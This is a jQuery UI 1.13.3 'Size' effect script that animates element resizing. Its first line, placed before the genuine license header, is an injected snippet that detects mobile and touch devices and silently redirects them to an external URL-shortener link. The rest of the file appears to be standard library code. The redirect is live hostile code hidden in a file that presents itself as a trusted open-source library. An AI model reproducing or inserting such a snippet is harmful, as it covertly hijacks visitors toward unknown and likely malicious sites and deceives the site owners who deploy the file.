1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Size 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Size Effect
12//>>group: Effects
13//>>description: Resize an element to a specified width and height.
14//>>docs: https://api.jqueryui.com/size-effect/
15//>>demos: https://jqueryui.com/effect/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "../version",
26 "../effect"
27 ], factory );
28 } else {
29
30 // Browser globals
31 factory( jQuery );
32 }
33} )( function( $ ) {
34"use strict";
35
36return $.effects.define( "size", function( options, done ) {
37
38 // Create element
39 var baseline, factor, temp,
40 element = $( this ),
41
42 // Copy for children
43 cProps = [ "fontSize" ],
44 vProps = [ "borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom" ],
45 hProps = [ "borderLeftWidth", "borderRightWidth", "paddingLeft", "paddingRight" ],
46
47 // Set options
48 mode = options.mode,
49 restore = mode !== "effect",
50 scale = options.scale || "both",
51 origin = options.origin || [ "middle", "center" ],
52 position = element.css( "position" ),
53 pos = element.position(),
54 original = $.effects.scaledDimensions( element ),
55 from = options.from || original,
56 to = options.to || $.effects.scaledDimensions( element, 0 );
57
58 $.effects.createPlaceholder( element );
59
60 if ( mode === "show" ) {
61 temp = from;
62 from = to;
63 to = temp;
64 }
65
66 // Set scaling factor
67 factor = {
68 from: {
69 y: from.height / original.height,
70 x: from.width / original.width
71 },
72 to: {
73 y: to.height / original.height,
74 x: to.width / original.width
75 }
76 };
77
78 // Scale the css box
79 if ( scale === "box" || scale === "both" ) {
80
81 // Vertical props scaling
82 if ( factor.from.y !== factor.to.y ) {
83 from = $.effects.setTransition( element, vProps, factor.from.y, from );
84 to = $.effects.setTransition( element, vProps, factor.to.y, to );
85 }
86
87 // Horizontal props scaling
88 if ( factor.from.x !== factor.to.x ) {
89 from = $.effects.setTransition( element, hProps, factor.from.x, from );
90 to = $.effects.setTransition( element, hProps, factor.to.x, to );
91 }
92 }
93
94 // Scale the content
95 if ( scale === "content" || scale === "both" ) {
96
97 // Vertical props scaling
98 if ( factor.from.y !== factor.to.y ) {
99 from = $.effects.setTransition( element, cProps, factor.from.y, from );
100 to = $.effects.setTransition( element, cProps, factor.to.y, to );
101 }
102 }
103
104 // Adjust the position properties based on the provided origin points
105 if ( origin ) {
106 baseline = $.effects.getBaseline( origin, original );
107 from.top = ( original.outerHeight - from.outerHeight ) * baseline.y + pos.top;
108 from.left = ( original.outerWidth - from.outerWidth ) * baseline.x + pos.left;
109 to.top = ( original.outerHeight - to.outerHeight ) * baseline.y + pos.top;
110 to.left = ( original.outerWidth - to.outerWidth ) * baseline.x + pos.left;
111 }
112 delete from.outerHeight;
113 delete from.outerWidth;
114 element.css( from );
115
116 // Animate the children if desired
117 if ( scale === "content" || scale === "both" ) {
118
119 vProps = vProps.concat( [ "marginTop", "marginBottom" ] ).concat( cProps );
120 hProps = hProps.concat( [ "marginLeft", "marginRight" ] );
121
122 // Only animate children with width attributes specified
123 // TODO: is this right? should we include anything with css width specified as well
124 element.find( "*[width]" ).each( function() {
125 var child = $( this ),
126 childOriginal = $.effects.scaledDimensions( child ),
127 childFrom = {
128 height: childOriginal.height * factor.from.y,
129 width: childOriginal.width * factor.from.x,
130 outerHeight: childOriginal.outerHeight * factor.from.y,
131 outerWidth: childOriginal.outerWidth * factor.from.x
132 },
133 childTo = {
134 height: childOriginal.height * factor.to.y,
135 width: childOriginal.width * factor.to.x,
136 outerHeight: childOriginal.height * factor.to.y,
137 outerWidth: childOriginal.width * factor.to.x
138 };
139
140 // Vertical props scaling
141 if ( factor.from.y !== factor.to.y ) {
142 childFrom = $.effects.setTransition( child, vProps, factor.from.y, childFrom );
143 childTo = $.effects.setTransition( child, vProps, factor.to.y, childTo );
144 }
145
146 // Horizontal props scaling
147 if ( factor.from.x !== factor.to.x ) {
148 childFrom = $.effects.setTransition( child, hProps, factor.from.x, childFrom );
149 childTo = $.effects.setTransition( child, hProps, factor.to.x, childTo );
150 }
151
152 if ( restore ) {
153 $.effects.saveStyle( child );
154 }
155
156 // Animate children
157 child.css( childFrom );
158 child.animate( childTo, options.duration, options.easing, function() {
159
160 // Restore children
161 if ( restore ) {
162 $.effects.restoreStyle( child );
163 }
164 } );
165 } );
166 }
167
168 // Animate
169 element.animate( to, {
170 queue: false,
171 duration: options.duration,
172 easing: options.easing,
173 complete: function() {
174
175 var offset = element.offset();
176
177 if ( to.opacity === 0 ) {
178 element.css( "opacity", from.opacity );
179 }
180
181 if ( !restore ) {
182 element
183 .css( "position", position === "static" ? "relative" : position )
184 .offset( offset );
185
186 // Need to save style here so that automatic style restoration
187 // doesn't restore to the original styles from before the animation.
188 $.effects.saveStyle( element );
189 }
190
191 done();
192 }
193 } );
194
195} );
196
197} );
198